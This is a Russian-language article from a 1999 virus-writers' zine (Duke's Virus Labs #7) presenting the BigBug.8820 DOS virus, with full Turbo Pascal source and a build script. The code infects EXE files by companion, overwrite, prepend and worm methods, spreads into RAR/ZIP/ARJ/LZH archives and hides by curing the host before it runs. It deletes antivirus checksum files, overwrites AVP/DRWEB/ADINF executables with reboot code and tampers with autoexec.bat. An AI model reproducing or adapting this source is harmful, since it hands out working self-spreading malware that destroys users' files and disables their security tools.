- [Duke's Virus Labs #7] - [Page 11] - BigBug.8820 (c) by Duke/SMF Имя вируса : BigBug.8820 Автор вируса : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 09.07.99 А вот и мой подарочек всем аверам ! Вирус BigBug призван доставить им максимальное удовольствие при создании AV баз. Думаю, им придется повозиться - вирус совмещает в себе HLLC/HLLO/HLLP/HLLW и поражает файлы тем или иным способом в зависимости от случайного числа. В одной директории могут присутствовать файлы пораженные 4 разными способами ! И все это делает один единственный вирус. Я не стал навешивать на него полиморфный генератор, вирус и так получился не мелким. Для сокращения размера я его слегка упаковал. Не менее интересно, как аверы назовут сие чудо природы. HLL.* ? HLLP.* ? Или оригинальным именем BigBug ? Сколько аверов промахнется и назовет его HLLO ? Ставки принимаются, господа ;)) Вирус не пытается поразить EXE-файл компаньон способом, если одноименный COM-файл уже существует. А теперь чистая реклама : ~~~~~~~~~~~~~~~~~~~~~~~~~ - поражает EXE-файлы в текущей директории и вложенных директориях первого уровня вложенности - в зависимости от случайного числа создает на текущем диске COM/EXE-червя или поражает RAR/ZIP/ARJ/LZH архивы текущей директории - при HLLP-заражении сохраняет атрибуты и дату создания файла - stealth-механизм : перед запуском излечивает жертву. Это позволяет поражать антивирусы, но не дает стартовать с защищенных от записи дисков. - уничтожает CRC-файлы антивирусов - в начало файлов, в имени которых присутствуют строки "AVP", "DRWEB", "ADINF", записывает код, перезагружающий компьютер при запуске - контроль на зараженность файла. Если файл уже заражен любым из способов, то заражение любым другим способом ему не грозит ;) - много других приятных мелочей ;-)))) Проявления : ~~~~~~~~~~~~ - с вероятностью 1/50 создает файл c:\BigBug.txt и записывает туда рисунок █████████▄ █████████▄ ██ ▀██ ██ ▀██ ██ ██ ██ ▄███████▄ ██ ██ ██ ██ ▄███████▄ ██ ▄██ ███▀ ▀███ ██ ▄██ ██ ██ ███▀ ▀███ █████████ ██ ██▀ █████████ ██ ██ ██▀ ██ ▀██ ██ ██ ██ ▀██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ████ ██ ▄██ ██ ██▄ ██ ██ ▄██ ██▄ ▄██ ██▄ ██ █████████▀ ██ ████████▀ █████████▀ ████████▀ ████████▀ ██ ██ ▄████▄ ▄██████ ██ ██ ████████ ██████▄ ████████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████████ ▀████▄ ████████ ██████ ██████▄ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ▀█▄ ██ ▀██▀▀██▀ ██ ██ ██████▀ ██ ██ ████████ ██ ██ ████████ а в c:\autoexec.bat записывает команду вывода этого рисунка на экран - с вероятностью 1/60 в мертвом цикле выводит на экран строку 'BigBug! ' - если пораженный фал запущен с параметром 'BigBug', то треща спикером выводит на экран разноцветный текст : Hello ! I'm BigBug virus, written by Duke/SMF special for DVL #7 You can say - "It's crazy !!!!". And you right ;-)) This is very crazy virus. Why my name is BigBug ? Coz i'm REALLY BigBug !!!!! HLL C/O/P/W in one ! Heheh.... - если на тачке чего-нибудь начнет глючить - валите все на вирус ! :)) Ниже привожу ПОЛНЫЕ исходные тексты вируса и программы setup ;) Для компиляции советую пользоваться файлом make.bat ===== begin bigbug.pas ===== {$M 10000, 3000, 10000} program BigBug_Virus; uses dos,crt; const len = 8820; {длина вируса} MPos = 200; {позиция метки в файле} metka:byte = $AE; {байт на месте метки} VS = 16; {количество строк в логотипе} logo:array[1..VS] of string[80] = ( ' █████████▄ █████████▄ ', ' ██ ▀██ ██ ▀██ ', ' ██ ██ ██ ▄███████▄ ██ ██ ██ ██ ▄███████▄ ', ' ██ ▄██ ███▀ ▀███ ██ ▄██ ██ ██ ███▀ ▀███ ', ' █████████ ██ ██▀ █████████ ██ ██ ██▀ ', ' ██ ▀██ ██ ██ ██ ▀██ ██ ██ ██ ', ' ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ████ ', ' ██ ▄██ ██ ██▄ ██ ██ ▄██ ██▄ ▄██ ██▄ ██ ', ' █████████▀ ██ ████████▀ █████████▀ ████████▀ ████████▀ ', ' ', ' ', ' ██ ██ ▄████▄ ▄██████ ██ ██ ████████ ██████▄ ████████', ' ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ', ' ██ ██ ██ ████████ ▀████▄ ████████ ██████ ██████▄ ██████ ', ' ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ▀█▄ ██ ', ' ▀██▀▀██▀ ██ ██ ██████▀ ██ ██ ████████ ██ ██ ████████'); var f:file; {файл с вирусом} g:file; t:text; body:array[1..len] of byte; {тело вируса} host:array[1..len] of byte; {кусок тела HLLP-жертвы} a,b:byte; WeNowIn:byte; {в каком мы сейчас файле} WormType:byte; {тип создаваемых червей: 0-файл,1-архивы} archive:boolean; {признак того, что нашли архив} ds:dirstr; ns:namestr; es:extstr; par:string; {параметры запуска} companio:string; {имя файла, пораженного компаньоном} NewName:string; {имя создаваемого червя} Command:string; {строка под COMSPEC} i:integer; attr:word; {атрибуты файла} ComFind:boolean; {для поражаемого EXE найден одноименный COM} Directory:byte; {вложенность директорий} {$I hllw.inc} {$I hllcop.inc} {----------------------------------------------------------------------------} function UpStr(st:string):string; var d:string; i:byte; begin d:=''; for i:=1 to length(st) do d:=d+upcase(st[i]); UpStr:=d; end; {-------------------------------------------------------------------------} function CheckInfection(st:string):boolean; var f:file; a:byte; label Next; begin ComFind:=false; CheckInfection:=false; assign(f,st);reset(f,1); if filesize(f)0) and (Directory=0) then begin Directory:=1; ScanDir(s.name+'\'); Directory:=0; goto NextFile; end; z:=UpStr(s.name); fn:=Dir+s.name; for i:=1 to 15 do if pos(kill[i],z)<>0 then begin assign(f,fn); erase(f); goto NextFile; end; fsplit(z,ds,ns,es); if es='.EXE' then begin if (pos('ADINF',z)<>0) or (pos('AVP',z)<>0) or (pos('DRWEB',z)<>0) then begin assign(f,fn); setfattr(f,$20); reset(f,1); blockwrite(f,reboot,2); close(f); goto NextFile; end; CheckInfection(fn); case s.size of 0..2700 : Infect_HLLO(fn); 2701..len-1 : Infect_HLLC(fn); else begin if ComFind=true then i:=random(2)+1 else i:=random(3); case i of 0 : Infect_HLLC(fn); 1 : Infect_HLLO(fn); 2 : Infect_HLLP(fn); end; end; end; goto NextFile; end; if (Directory=0) and (WormType=1) then begin if (es='RAR') or (es='ZIP') or (es='ARJ') or (es='LZH') then begin assign(f,s.name); getfattr(f,attr); setfattr(f,$20); MakeWorm(''); p:='/c '; archive:=true; end; if es='RAR' then p:=p+'rar a -tk -y -c- -o+ '; if es='ZIP' then p:=p+'pkzip -a '; if es='ARJ' then p:=p+'arj a '; if es='LZH' then p:=p+'lha a '; if archive=true then begin p:=p+s.name+' '+NewName+'>nul'; exec(Command,par); {записываем вирус} setfattr(f,attr); close(f); assign(f,NewName); erase(f); {удаляем вирус} end; end; NextFile: findnext(s); end; end; {-------------------------------------------------------------------------} procedure Out(color:integer;st:string); {вывод разноцветного текста} var i:byte; begin textcolor(color); for i:=1 to length(st) do begin write(st[i]); sound(400); delay(700); nosound; end; end; {-------------------------------------------------------------------------} procedure BigBug; begin asm mov ah,01h mov ch,32 mov cl,3 int 10h end; Out(11,'Hello ! I''m '); Out(12,'BigBug '); Out(11,'virus, written by '); Out(10,'Duke/SMF '); Out(11,'special for '); Out(13,'DVL #7'); writeln; Out(11,'You can say - '); Out(9,'"It''s crazy !!!!"'); Out(11,'. And you right '); Out(10,';-)) '); Out(11,'This is very'); writeln; Out(11,'crazy virus. Why my name is '); Out(12,'BigBug '); Out(11,'? Coz i''m '); Out(9,'REALLY '); Out(12,'BigBug '); Out(11,'!!!!!'); writeln; Out(11,'HLL C/O/P/W in one ! Heheh....'); textcolor(7); writeln(' '); asm mov ah,01h mov ch,7 mov cl,8 int 10h end; halt; asm db 13,10,'[BigBug] v1.0 (c) by Duke/SMF',13,10 end; end; {Hello ! I'm BigBug virus, written by Duke/SMF special for DVL #7} {You can say - "It's crazy !!!!". And you right ;-)) This is very} {crazy virus. Why my name is BigBug ? Coz i'm REALLY BigBug !!!!!} {HLL C/O/P/W in one ! Heheh.... } {-------------------------------------------------------------------------} begin {--- инициируем random-генератор :} Randomize; {--- чтение тела вируса и проверка типа :} assign(f,paramstr(0));reset(f,1); blockread(f,body,len); if filesize(f)<>len then begin seek(f,filesize(f)-len); blockread(f,a,1); blockread(f,b,1); if ((a=77) and (b=90)) or ((a=90) and (b=77)) {MZ} then WeNowIn:=2 else WeNowIn:=1; end else begin fsplit(paramstr(0),ds,ns,es); if es='.COM' then begin companio:=ds+ns+'.EXE'; assign(g,companio); {$I-}reset(g);{$I+} if ioresult<>0 then WeNowIn:=3 else begin close(g);WeNowIn:=0;end; end else WeNowIn:=1; end; close(f); {--- создание червя :} WormType:=random(2); if WormType=0 then Infect_HLLW else Command:=GetEnv('COMSPEC'); {--- сохраниение параметров :} if (WeNowIn=0) or (WeNowIn=2) then {если мы HLLC/HLLP} begin par:=''; for i:=1 to paramcount do if paramstr(i)='BigBug' then BigBug else par:=paramstr(i)+' '; end; {--- запуск жертвы :} Case WeNowIn of 0 : Exec_HLLC; 2 : Exec_HLLP; end; {--- вызов поиска жертв :} Directory:=0; ScanDir(''); {--- на закуску :} if random(50)=25 then begin assign(t,'c:\autoexec.bat'); setfattr(t,$20); append(t); writeln(t,''); writeln(t,'@type c:\BigBug.txt'); close(t); assign(t,'c:\BigBug.txt'); rewrite(t); for i:=1 to VS do writeln(t,logo[i]); close(t); end; if random(60)=30 then while 1<>2 do write('BigBug! '); if (WeNowIn=1) or (WeNowIn=3) then writeln('Not enough memory'); end. ===== end bigbug.pas ===== ===== begin hllcop.inc ===== procedure Crypt(n:string); const CS=2000; {размер шифруемого куска} var c:file; {шифруемый файл} t:array[1..CS] of byte; {шифруемый массив} ch:byte; begin assign(c,n); getfattr(c,attr); {сохраняем атрибуты} setfattr(c,$20); reset(c,1); seek(c,200); {прикладываем героические усилия} blockread(c,ch,1); { для вычисления начальной } for i:=1 to 10 do { позиции шифрования жертвы} begin seek(c,ch+1); blockread(c,ch,1); end; seek(c,ch+300); blockread(c,t,CS); {читаем кусок из середины} for i:=1 to CS do t[i]:=t[i] xor 99; {шифруем этот кусок} seek(c,ch+300); blockwrite(c,t,CS); {записываем кусок} close(c); setfattr(c,attr); {возвращаем атрибуты} end; {----------------------------------------------------------------------------} procedure Exec_HLLC; begin Crypt(companio); {расшифровываем жертву} exec(companio,par); {запускаем жертву} Crypt(companio); {зашифровываем обратно :)} end; {----------------------------------------------------------------------------} procedure Exec_HLLP; begin assign(f,paramstr(0)); getfattr(f,attr); {сохраняем атрибуты} setfattr(f,$20); reset(f,1); seek(f,filesize(f)-len); blockread(f,host,len); seek(f,filesize(f)-len); truncate(f); seek(f,0); blockwrite(f,host,len); close(f); exec(paramstr(0),par); assign(f,paramstr(0)); reset(f,1); blockwrite(f,body,len); seek(f,filesize(f)); blockwrite(f,host,len); close(f); setfattr(f,attr); end; {----------------------------------------------------------------------------} procedure Infect_HLLC(s:string); var st:string; begin fsplit(s,ds,ns,es); st:=ds+ns+'.COM'; assign(g,st);rewrite(g,1); {создаем компаньон} blockwrite(g,body,len); {пишем вирус} close(g); Crypt(s); {шифруем жертву} end; {----------------------------------------------------------------------------} procedure Infect_HLLO(s:string); begin assign(f,s); setfattr(f,$20); rewrite(f,1); blockwrite(f,body,len); close(f); end; {----------------------------------------------------------------------------} procedure Infect_HLLP(s:string); var time:longint; begin assign(f,s); getfattr(f,attr); setfattr(f,$20); reset(f,1); getftime(f,time); blockread(f,host,len); seek(f,0); blockwrite(f,body,len); seek(f,filesize(f)); blockwrite(f,host,len); setftime(f,time); close(f); setfattr(f,attr); end; ===== end hllcop.inc ===== ===== begin hllw.inc ===== procedure MakeWorm(Dir:string); {создаем червя со случайным именем} var f:file; i,d,C:byte; M:integer; begin {-- Создаем имя} d:=random(8)+1; NewName:=''; for i:=1 to d do NewName:=NewName+chr(random(26)+97); d:=random(255); if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe'; {-- Создаем файл} NewName:=Dir+'\'+NewName; {дополняем имя путем} assign(f,NewName);rewrite(f,1); blockwrite(f,Body,Len); close(f); end; {---------------------------------------------------------------------------} procedure Infect_HLLW; var Num:integer; {номер интересующей директории} P:string; {найденная директория} Y:boolean; {признак того, что дошли до тупика} {---------------------------------------------------------------------------} function SumDir(Dir:string):integer; {считаем кол-во директорий} var N:searchrec; D:integer; begin D:=0; Dir:=Dir+'\'; findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') then D:=D+1; findnext(N); end; SumDir:=D; end; {---------------------------------------------------------------------------} procedure FindDir(var Dir:string;D:integer); {искать нужную директорию} var N:searchrec; K:integer; begin if D=0 then Y:=true else begin K:=0; Dir:=Dir+'\'; findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') then K:=K+1; if K=D then begin P:=P+N.name; exit; end; findnext(N); end; end; end; {---------------------------------------------------------------------------} begin P:=copy(fexpand(paramstr(0)),1,2); {определили имя диска} Y:=false; while Y=false do begin Num:=random(SumDir(P)); FindDir(P,Num); end; MakeWorm(P); {создаем червя} end; ===== end hllw.inc ===== ===== begin setup.pas ===== program BigBug_Setup; const nope=3; var i:integer; f:file; a:byte; begin writeln('Setup tool for BigBug v1.0 virus (c) by Duke/SMF'); if paramcount<>1 then begin writeln('Usage: setup.exe '); halt; end; assign(f,paramstr(1));{$I-}reset(f,1);{$I+} if ioresult<>0 then begin writeln('Virus file not found !'); halt; end; seek(f,filesize(f)); a:=0; for i:=1 to nope do blockwrite(f,a,1); close(f); end. ===== end setup.pas ===== ===== begin make.bat ===== tpc bigbug.pas apack bigbug.exe bigbug.exe setup bigbug.exe ===== end make.bat =====